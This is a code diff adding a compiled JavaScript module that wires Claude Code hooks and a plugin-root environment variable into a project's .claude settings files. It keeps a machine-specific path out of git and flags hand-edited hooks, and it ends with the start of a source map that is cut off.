+ for (const event of events) {
262
+ const foreign = [];
263
+ for (const group of current[event] ?? []) {
264
+ // Drop only the hooks we previously wrote; keep the rest of the group.
265
+ const keep = (group?.hooks ?? []).filter((h) => !(typeof h?.command === "string" && ownedSet.has(h.command)));
266
+ if (keep.length > 0)
267
+ foreign.push({ ...group, hooks: keep });
268
+ }
269
+ const merged = [...foreign, ...(wiring.hooks[event] ?? [])];
270
+ if (merged.length > 0)
271
+ next[event] = merged;
272
+ }
273
+ const out = { ...settings };
274
+ if (Object.keys(next).length > 0)
275
+ out.hooks = next;
276
+ else
277
+ delete out.hooks;
278
+ return out;
279
+ }
280
+ export function readJsonFile(file) {
281
+ if (!fs.existsSync(file))
282
+ return {};
283
+ try {
284
+ const parsed = JSON.parse(fs.readFileSync(file, "utf8"));
285
+ // A settings file that is valid JSON but not an object (`[]`, `"x"`, `null`)
286
+ // would silently lose its content on spread. Refuse instead of clobbering.
287
+ if (parsed === null || typeof parsed !== "object" || Array.isArray(parsed)) {
288
+ throw new Error("expected a JSON object");
289
+ }
290
+ return parsed;
291
+ }
292
+ catch (err) {
293
+ throw new Error(`Cannot read ${file}: ${err.message}`);
294
+ }
295
+ }
296
+ /** Temp-then-rename, matching applyPlan — a crash never leaves half a file. */
297
+ export function writeJsonFile(file, value) {
298
+ fs.mkdirSync(path.dirname(file), { recursive: true });
299
+ const tmp = `${file}.${process.pid}.tmp`;
300
+ fs.writeFileSync(tmp, `${JSON.stringify(value, null, 2)}\n`);
301
+ fs.renameSync(tmp, file);
302
+ }
303
+ export function settingsPath(dir) {
304
+ return path.join(dir, ".claude", "settings.json");
305
+ }
306
+ export function localSettingsPath(dir) {
307
+ return path.join(dir, ".claude", "settings.local.json");
308
+ }
309
+ const IGNORE_LINE = "settings.local.json";
310
+ /**
311
+ * Keep `.claude/settings.local.json` out of git.
312
+ *
313
+ * Not optional housekeeping: that file holds an absolute path, and the project
314
+ * README instructs users to commit `.claude/`. Without this, the first
315
+ * `git add .claude` ships one developer's home directory to everybody.
316
+ *
317
+ * Writes `.claude/.gitignore` rather than touching the project's root
318
+ * `.gitignore` — morkit only edits inside the directory it owns. Appends when
319
+ * the file already exists, so a project's own rules there survive.
320
+ *
321
+ * Returns true when the file was written.
322
+ */
323
+ export function ensureLocalIgnored(dir) {
324
+ const file = path.join(path.resolve(dir), ".claude", ".gitignore");
325
+ const existing = fs.existsSync(file) ? fs.readFileSync(file, "utf8") : "";
326
+ const lines = existing.split("\n").map((l) => l.trim());
327
+ if (lines.includes(IGNORE_LINE) || lines.includes(`/${IGNORE_LINE}`))
328
+ return false;
329
+ const body = existing === "" ? "" : existing.endsWith("\n") ? existing : `${existing}\n`;
330
+ fs.mkdirSync(path.dirname(file), { recursive: true });
331
+ fs.writeFileSync(file, `${body}${IGNORE_LINE}\n`);
332
+ return true;
333
+ }
334
+ /**
335
+ * Hooks that point into this kit but are not in the lockfile.
336
+ *
337
+ * Ownership is tracked by exact command string, which has one real failure mode:
338
+ * edit a command morkit wrote — fix a typo, add an argument — and it no longer
339
+ * matches the lockfile. `mergeHooks` then treats it as somebody else's hook and
340
+ * keeps it, while still adding morkit's own version alongside. The event ends up
341
+ * with two entries running for it.
342
+ *
343
+ * Keeping the edit is the right call — deleting a person's change is exactly the
344
+ * clobbering this module refuses to do elsewhere. Doing it *silently* is not. So
345
+ * we detect the case with the signal we already have (the command points inside
346
+ * this kit) and report it; the person decides which entry to drop.
347
+ *
348
+ * This also fires for a project installed before the lockfile recorded hooks at
349
+ * all, which is the same situation from the code's point of view: an entry that
350
+ * looks like ours with no record saying so.
351
+ */
352
+ export function findHandEdited(settings, kit, owned) {
353
+ const ownedSet = new Set(owned);
354
+ const root = pluginRootToken(kit);
355
+ const hooks = settings.hooks;
356
+ if (typeof hooks !== "object" || hooks === null || Array.isArray(hooks))
357
+ return [];
358
+ const out = [];
359
+ for (const [event, groups] of Object.entries(hooks)) {
360
+ if (!Array.isArray(groups))
361
+ continue;
362
+ for (const group of groups) {
363
+ // Bỏ qua êm chứ KHÔNG throw — cố ý, và khác gợi ý của review. Hàm này là
364
+ // bộ PHÁT HIỆN, không phải bộ kiểm cấu trúc, và `wireHooks` gọi nó ngay
365
+ // trước `mergeHooks` — nơi throw kèm tên event. Throw ở cả hai chỗ chỉ
366
+ // nhân đôi cùng một luật ở hai nơi để rồi lệch nhau.
367
+ if (!Array.isArray(group?.hooks))
368
+ continue;
369
+ for (const entry of group.hooks) {
370
+ const command = entry?.command;
371
+ if (typeof command !== "string")
372
+ continue;
373
+ if (!pointsInsideKit(command, root) || ownedSet.has(command))
374
+ continue;
375
+ out.push({
376
+ event,
377
+ command,
378
+ reason: "points into this kit but is not in the lockfile — kept, not replaced",
379
+ });
380
+ }
381
+ }
382
+ }
383
+ return out;
384
+ }
385
+ /** A kit that ships no hooks.json wires nothing. */
386
+ export const EMPTY_WIRING = { hooks: {}, commands: [], skipped: [] };
387
+ /**
388
+ * Write a planned wiring into the project. Idempotent: the second run writes
389
+ * only if the resulting JSON differs, so it is safe to call on every install and
390
+ * it self-heals a project whose settings file lost the entries.
391
+ *
392
+ * Planning is separate (`planHookWiring`, pure) because the caller needs the
393
+ * command list to decide whether the install is already up to date — before any
394
+ * disk write happens.
395
+ *
396
+ * `ownedBefore` comes from the lockfile so a kit that drops or renames a hook
397
+ * leaves nothing stale behind.
398
+ */
399
+ export function wireHooks(opts) {
400
+ const dir = path.resolve(opts.dir);
401
+ const { wiring } = opts;
402
+ const changed = [];
403
+ const file = settingsPath(dir);
404
+ const before = readJsonFile(file);
405
+ const conflicts = findHandEdited(before, opts.kit, opts.ownedBefore ?? []);
406
+ const after = mergeHooks(before, wiring, opts.ownedBefore ?? []);
407
+ if (JSON.stringify(before) !== JSON.stringify(after)) {
408
+ writeJsonFile(file, after);
409
+ changed.push(path.relative(dir, file));
410
+ }
411
+ // The absolute plugin root, written whether or not the kit ships hooks: the
412
+ // kit's commands, skills and scripts read MORKIT_PLUGIN_ROOT /
413
+ // CLAUDE_PLUGIN_ROOT too, and neither is set when there is no plugin runtime.
414
+ //
415
+ // Local file only, and the reason is not taste. `env` values do not expand
416
+ // variables (measured), so this value has to be an absolute path — and the
417
+ // project's README tells people to commit `.claude/`, so an absolute path
418
+ // sitting in the shared file would land in every teammate's clone pointing at
419
+ // one machine's home directory. `ensureLocalIgnored` keeps that from happening.
420
+ const localFile = localSettingsPath(dir);
421
+ const localBefore = readJsonFile(localFile);
422
+ // `readJsonFile` only guarantees the ROOT is an object. A hand-edited
423
+ // `"env": "something"` would spread into {"0":"s","1":"o",…} and get written
424
+ // back to disk as that garbage, silently. Same stance as readJsonFile: refuse
425
+ // rather than clobber, and name the file so it is fixable.
426
+ const prevEnv = localBefore.env ?? {};
427
+ if (typeof prevEnv !== "object" || prevEnv === null || Array.isArray(prevEnv)) {
428
+ throw new Error(`${localFile}: "env" must be a JSON object, found ${typeof prevEnv}.`);
429
+ }
430
+ const env = { ...prevEnv };
431
+ // ONLY the morkit-specific name. `CLAUDE_PLUGIN_ROOT` is a SHARED namespace
432
+ // and must not be set session-wide — measured, after an earlier version of
433
+ // this code did set it:
434
+ //
435
+ // - Claude Code does override it per plugin component, but only for plugin
436
+ // HOOKS. A plugin's skill or command is instruction text telling the agent
437
+ // to run `bash "${CLAUDE_PLUGIN_ROOT}/…"`, and the Bash tool sees this
438
+ // session `env` — measured directly by dumping the tool's environment.
439
+ // - 61 files across the plugins installed on one real machine (superpowers,
440
+ // ecc, claude-security, code-modernization, hookify) read that variable.
441
+ //
442
+ // So setting it here would silently point every one of those plugins at
443
+ // morkit's kit directory. Fixing morkit's own 44 bare `${CLAUDE_PLUGIN_ROOT}`
444
+ // references to the fallback form the other 28 already use is the correct end
445
+ // to fix; poisoning a shared variable for the whole session is not.
446
+ env.MORKIT_PLUGIN_ROOT = pluginRootPath(dir, opts.kit);
447
+ const localAfter = { ...localBefore, env };
448
+ if (JSON.stringify(localBefore) !== JSON.stringify(localAfter)) {
449
+ writeJsonFile(localFile, localAfter);
450
+ changed.push(path.relative(dir, localFile));
451
+ }
452
+ if (ensureLocalIgnored(dir))
453
+ changed.push(path.join(".claude", ".gitignore"));
454
+ return { commands: wiring.commands, skipped: wiring.skipped, changed, conflicts };
455
+ }
456
+ //# sourceMappingURL=settings.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"settings.js","sourceRoot":"","sources":["../../src/lib/settings.ts"],"names":[],"mappings":"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